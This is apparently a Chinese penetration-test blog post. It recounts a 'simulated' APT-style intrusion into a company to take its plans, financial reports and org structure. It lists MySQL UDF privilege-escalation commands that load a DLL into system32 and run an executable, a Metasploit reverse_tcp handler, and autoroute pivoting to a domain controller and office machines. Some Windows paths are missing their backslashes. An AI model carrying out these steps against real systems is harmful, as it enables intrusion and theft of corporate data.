专注APT攻击与防御
https://micropoor.blogspot.com/

模拟任务:拿到该公司明年计划,拿到该公司今年报表,并且摸清该公司组织架构。盈利情况。
第一个shell为目标主站shell,为08 R2,提权后遂改变主意。由于是以APT为主,并不打算以主站权限为点渗透,动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。

主站为2008 R2:

主站端口为:

搜集端口为该公司的其他分站提供下一步探测。
进程搜集:红色为重点搜集源

账户搜集:(已处理)

重要路径搜集:

(无图,路径搜集为未来可能需要dump file做准备)

数据库密码搜集:

(无图,密码搜集为未来可能需要碰撞做准备)

杀毒软件搜集:

强力的麦咖啡

管理员习惯搜集:

(无图,尽量避免与admin的fvsf)(面对面的vs是不是这么拼写?)

其他搜集:

(由于是第一个shell,具体的已经忘记了)

第二台服务器权限:window x86 2003

根据上一台的服务器情报搜集很快得到了一台win03
IP .3
为一台开发机。目标仅支持asp,无其他脚本支持。但是服务器中安装有mysql,php等。并且无asp to mysql Device Drive IIS配置中也并不支持php。msf反弹后,继续搜集情报。
type C:MySQLMySQL Server 5.0datamysqluser.MYD得到root hash

在实际情况中,交互的shell下运行mysql -uroot -pxxx无法继续交互,需要参数e解决这个问题。

mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"
mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values
(hex(load_file('C:xxxxxxxx.dll')));"
mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE
'c:windowssystem32xxxx.dll';"
mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'"
mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:xxxxxxxxxxxx.exe');"
如果限制上传大小同样可以hex解决上传大小问题。

以下为部分msf操作实例
msf >use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
msf exploit(handler) >exploit -l
meterpreter >ps

[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0

最终得到了域控权限,并且得到了跨段的服务器权限。得到了个人机的重要权限,以及公司财报doc。

部分截图如下:由于时间问题,顺序可能打乱了。
跳段,到个人机

放弃权限,所有操作并未更改,下载,删除等一切损害该公司的行为。
至此由虚拟机跳段到了工作办公机,(典型的A-B-C类跳板)得到了该公司的下年计划,人员组织构架,财务报表,盈利情况,以及内部相关work文档等。
